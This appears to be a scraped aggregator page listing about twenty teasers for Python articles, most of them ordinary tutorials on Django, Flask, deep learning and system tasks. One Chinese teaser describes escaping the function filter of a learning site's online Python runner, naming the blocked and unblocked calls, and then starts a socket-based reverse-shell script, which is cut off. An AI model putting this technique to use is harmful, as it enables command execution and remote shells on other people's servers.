Quantcast
Channel: CodeSection,代码区,Python开发技术文章_教程 - CodeSec
Browsing all 9596 articles
Browse latest View live

学习python――博客记录第一天

HELLO WORLD! 今天第一次开立博客,专门记载学习编程语言中的点点滴滴。今日学习内容: 搭建vs code+ python3.5 "ide" 学习廖雪峰python教程-使用list和tuple...

View Article


Awesome Python-A curated list of awesome Python frameworks, libraries,...

Written on 26 June 2016 Awesome python A curated list of awesome Python frameworks, libraries, software and resources. Inspired by awesome-php . Environment Management Libraries for Python version and...

View Article


Image may be NSFW.
Clik here to view.

A Practical Introduction to Deep Learning with Caffe and Python

Deep learning is the new big trend in machine learning. It had many recent successes in computer vision, automatic speech recognition and natural language processing. The goal of this blog post is to...

View Article

Image may be NSFW.
Clik here to view.

2016年上半年书单

最近工作上的需求趋向于稳定,有一定的时间来进行阅读和总结。这半年还是读了不少书的。 非技术类 人类的群星闪耀时 茨威格...

View Article

Image may be NSFW.
Clik here to view.

我们谈谈 Django 的 ”脸“

Views模块 DJANGO 的脸 Views模块并不是Django中必须的,但是它的存在简化了Django的开发。 因为类 django.core.handlers.base.BaseHandler 中 get_response() 方法会回调views中的方法,并要求返回HttpResponse。 所以只要符合下面格式的方法,都能作为views方法: from django.http...

View Article


Django 最佳实践-读书笔记 - 第十一章、第十二章 Form

面对复杂多变的需求,我们自行校验是比较困难的。将校验集中在form层,利用这久经考验的校验机制。 在 html 的form 中使用 post方法,除了查询。 在使用http的form形式来修改数据时,记得使用 csrf来保护数据。 除了 http 的形式外,ajax 提交的也要使用csrf 来保护数据。 理解怎么给 form 实例添加属性 # formsfrom django import...

View Article

一些码题的解析

前一阵子老冯给我发了个 这 。 然后看了看不算难。 下面给出一些题的解决方法,除了第9题已知信息比较少,不确定应该怎么办。 以及,我python写的屎一样,毕竟不会写跟javascript齐名的语言。 1 数组补丁 给出一个从小到大排好序的整数数组nums和一个整数n,在数组中添加若干个补丁(元素)使得[1,n]的区间内的所有数都可以表示成nums中若干个数的和。返回最少需要添加的补丁个数。...

View Article

python文件遍历

在linux系统下遍历文件不算是新鲜功能,如果给出一个目录,要根据这个目录的结构去做某些操作,这个就要到遍历了,谈到遍历就不能不说递归,因为遍历是递归的典型应用场景,那什么是递归?其实递归就是定义的函数又调用了自己,比如列出指定目录下的所有文件,如果这个目录下除了文件还有目录,就就需要再进入这个子目录里,依次类推直到没有目录了结束,递归比较抽象,我们直接上例子说明: #!/usr/mport os...

View Article


Image may be NSFW.
Clik here to view.

Matplotlib在PyQt4的应用

Matplotlib作为python中著名的数据可视化工具,其官网也提供了在PyQt4中使用的源码,这里举一个应用实例,以备不时之需。 1) 利用Qt Designer创建GUI界面 Demo的GUI界面,如图1所示,其中利用QFrame作为放置Matplotlib界面的容器。然后调用pyuic4.bat -o ui_maindialog.py maindialog.ui编译UI界面。 图1...

View Article


AngularJS Not Working in Python Flask Web App

It was recently that I tried to useAngularJS withpython Flask web application. But it didn’t worked out straight away. While trying to browse the HTML template files straight from the browser...

View Article

Image may be NSFW.
Clik here to view.

Handwritten Digit Recognition using Convolutional Neural Networks in Python...

A popular demonstration of the capability of deep learning techniques is object recognition in image data. The “hello world” of object recognition for machine learning and deep learning is the MNIST...

View Article

Image may be NSFW.
Clik here to view.

Responding to SMS Text Messages with Python & Flask

Posted byMatt Makai on May 30, 2016. Short Message Service (SMS) text messages are easy to send from python applications with a web application programming interface (API) . Flask applications can...

View Article

Image may be NSFW.
Clik here to view.

某Python学习网站在线编码导致命令执行

看到某公众号提供"python在线编写"功能,测试了几个函数.以下常规的都被过滤了 os.systemos.popensubprocesscommands 然后试试 os.popen2/3/4 发现可以 import ,同时 socket 也可以使用 这样就写了个反弹shell的脚本: import socketfrom os import popen3s =...

View Article


Image may be NSFW.
Clik here to view.

Working with virtualenv and Ansible

What this is about? So after upgrading to Fedora 24 I wanted to have a clean installation and use only system libraries (no more sudo pip install.. ). I already achieved that by using systemd-nspawn...

View Article

Hello, Sense!

A while back, I saw a Kickstarter for one of the most well designed and pretty sleep trackers on the market. I fell in love with it, and it has stuck with me since. A few months ago, I finally got my...

View Article


DJFiles is a Django app for manage static files of your project via admin panel

DJFiles DJFiles is a simple Django app for manage static files of your project in admin panel. This app is useful for projects where there is a content manager, which don't have access to server via...

View Article

Image may be NSFW.
Clik here to view.

Big Red Button: Experiments with Reinforcement Learning

Big Red Button Suppose you built a super-intelligent robot that uses reinforcement learning to figure out how to behave in the world. There might be situations in which you need to shut down the robot,...

View Article


Image may be NSFW.
Clik here to view.

LINUX CENTOS7下安装PYTHON

linux CENTOS7下安装python 1小时前来源:电子技术应用 1.查看是否已经安装Python Centos7默认安装了python2.7.5 因为一些命令要用它比如yum 它使用的是python2.7.5。 使用python -V命令查看一下是否安装Python: php?url=0DglcRy5FO" alt="LINUX CENTOS7下安装PYTHON"...

View Article

Django 起飞必备工具箱

使用django的过程里搜集的一些资源,做个总结: 教程 The Django Book djangobook:很好的入门教材, 易懂且丰富 The Django Book中文版 : 目前是 1.1 版,英文版更新到 1.4 ,django.1.4新特性可参考 这里 官方文档 涵盖django的方方面面,遇到的问题基本能在这里面找到答案,ps:只有 英文版...

View Article

Image may be NSFW.
Clik here to view.

Python(八)进程、线程、协程篇

本章内容: 线程(线程锁、threading.Event、queue 队列、 生产者消费者模型、自定义线程池 ) 进程(数据共享、进程池) 协程 线程 Threading用于提供线程相关的操作。线程是应用程序中工作的最小单元,它被包含在进程之中,是进程中的实际运作单位。一条线程指的是进程中一个单一顺序的控制流,一个进程中可以并发多个线程,每条线程并行执行不同的任务。 threading 模块建立在...

View Article
Browsing all 9596 articles
Browse latest View live